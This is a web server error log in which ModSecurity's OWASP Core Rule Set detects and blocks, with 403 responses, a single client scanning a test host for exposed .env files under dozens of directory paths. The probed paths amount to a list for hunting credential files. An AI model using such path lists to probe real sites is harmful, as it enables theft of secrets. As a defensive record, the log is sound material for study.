[Wed Feb 25 06:04:49.047352 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app_dir/.env&quot;] [unique_id &quot;aZ6C8eTWwZsZM3_RktVC6wAAAAU&quot;]
[Wed Feb 25 06:04:49.047559 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app_dir/.env&quot;] [unique_id &quot;aZ6C8eTWwZsZM3_RktVC6wAAAAU&quot;]
[Wed Feb 25 06:04:49.117155 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app_nginx_static_path/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app_nginx_static_path/.env&quot;] [unique_id &quot;aZ6C8eTWwZsZM3_RktVC7AAAAAU&quot;]
[Wed Feb 25 06:04:49.119676 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app_nginx_static_path/.env&quot;] [unique_id &quot;aZ6C8eTWwZsZM3_RktVC7AAAAAU&quot;]
[Wed Feb 25 06:04:49.119970 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app_nginx_static_path/.env&quot;] [unique_id &quot;aZ6C8eTWwZsZM3_RktVC7AAAAAU&quot;]
[Wed Feb 25 06:04:49.182151 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /application/.env.sample&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.sample&quot;] [unique_id &quot;aZ6C8eTWwZsZM3_RktVC7QAAAAU&quot;]
[Wed Feb 25 06:04:49.182478 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.sample&quot;] [unique_id &quot;aZ6C8eTWwZsZM3_RktVC7QAAAAU&quot;]
[Wed Feb 25 06:04:49.182677 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.sample&quot;] [unique_id &quot;aZ6C8eTWwZsZM3_RktVC7QAAAAU&quot;]
[Wed Feb 25 06:04:49.212990 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /application/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.save&quot;] [unique_id &quot;aZ6C8eTWwZsZM3_RktVC7gAAAAU&quot;]
[Wed Feb 25 06:04:49.213283 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.save&quot;] [unique_id &quot;aZ6C8eTWwZsZM3_RktVC7gAAAAU&quot;]
[Wed Feb 25 06:04:49.213471 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.save&quot;] [unique_id &quot;aZ6C8eTWwZsZM3_RktVC7gAAAAU&quot;]
[Wed Feb 25 06:04:49.254464 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /apps/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps/.env&quot;] [unique_id &quot;aZ6C8eTWwZsZM3_RktVC7wAAAAU&quot;]
[Wed Feb 25 06:04:49.254764 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps/.env&quot;] [unique_id &quot;aZ6C8eTWwZsZM3_RktVC7wAAAAU&quot;]
[Wed Feb 25 06:04:49.254968 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps/.env&quot;] [unique_id &quot;aZ6C8eTWwZsZM3_RktVC7wAAAAU&quot;]
[Wed Feb 25 06:04:49.314538 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /apps/client/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps/client/.env&quot;] [unique_id &quot;aZ6C8eTWwZsZM3_RktVC8AAAAAU&quot;]
[Wed Feb 25 06:04:49.314823 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps/client/.env&quot;] [unique_id &quot;aZ6C8eTWwZsZM3_RktVC8AAAAAU&quot;]
[Wed Feb 25 06:04:49.315045 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps/client/.env&quot;] [unique_id &quot;aZ6C8eTWwZsZM3_RktVC8AAAAAU&quot;]
[Wed Feb 25 06:04:49.357864 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /_static/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/_static/.env&quot;] [unique_id &quot;aZ6C8bZegw_qLbSTRXm5ZQAAAAM&quot;]
[Wed Feb 25 06:04:49.358154 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/_static/.env&quot;] [unique_id &quot;aZ6C8bZegw_qLbSTRXm5ZQAAAAM&quot;]
[Wed Feb 25 06:04:49.358370 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/_static/.env&quot;] [unique_id &quot;aZ6C8bZegw_qLbSTRXm5ZQAAAAM&quot;]
[Wed Feb 25 06:04:49.465280 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /archipel/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Archipel/.env&quot;] [unique_id &quot;aZ6C8eTWwZsZM3_RktVC8QAAAAU&quot;]
[Wed Feb 25 06:04:49.465559 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Archipel/.env&quot;] [unique_id &quot;aZ6C8eTWwZsZM3_RktVC8QAAAAU&quot;]
[Wed Feb 25 06:04:49.465781 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Archipel/.env&quot;] [unique_id &quot;aZ6C8eTWwZsZM3_RktVC8QAAAAU&quot;]
[Wed Feb 25 06:04:49.488419 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /acme-challenge/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/acme-challenge/.env&quot;] [unique_id &quot;aZ6C8bZegw_qLbSTRXm5ZwAAAAM&quot;]
[Wed Feb 25 06:04:49.488709 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/acme-challenge/.env&quot;] [unique_id &quot;aZ6C8bZegw_qLbSTRXm5ZwAAAAM&quot;]
[Wed Feb 25 06:04:49.488906 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/acme-challenge/.env&quot;] [unique_id &quot;aZ6C8bZegw_qLbSTRXm5ZwAAAAM&quot;]
[Wed Feb 25 06:04:49.561656 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /acme/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/acme/.env&quot;] [unique_id &quot;aZ6C8bZegw_qLbSTRXm5aAAAAAM&quot;]
[Wed Feb 25 06:04:49.561958 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/acme/.env&quot;] [unique_id &quot;aZ6C8bZegw_qLbSTRXm5aAAAAAM&quot;]
[Wed Feb 25 06:04:49.562152 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/acme/.env&quot;] [unique_id &quot;aZ6C8bZegw_qLbSTRXm5aAAAAAM&quot;]
[Wed Feb 25 06:04:49.661107 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /asset_img/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/asset_img/.env&quot;] [unique_id &quot;aZ6C8eTWwZsZM3_RktVC8wAAAAU&quot;]
[Wed Feb 25 06:04:49.661542 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/asset_img/.env&quot;] [unique_id &quot;aZ6C8eTWwZsZM3_RktVC8wAAAAU&quot;]
[Wed Feb 25 06:04:49.661854 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/asset_img/.env&quot;] [unique_id &quot;aZ6C8eTWwZsZM3_RktVC8wAAAAU&quot;]
[Wed Feb 25 06:04:49.662180 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /acme_challenges/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/acme_challenges/.env&quot;] [unique_id &quot;aZ6C8bZegw_qLbSTRXm5aQAAAAM&quot;]
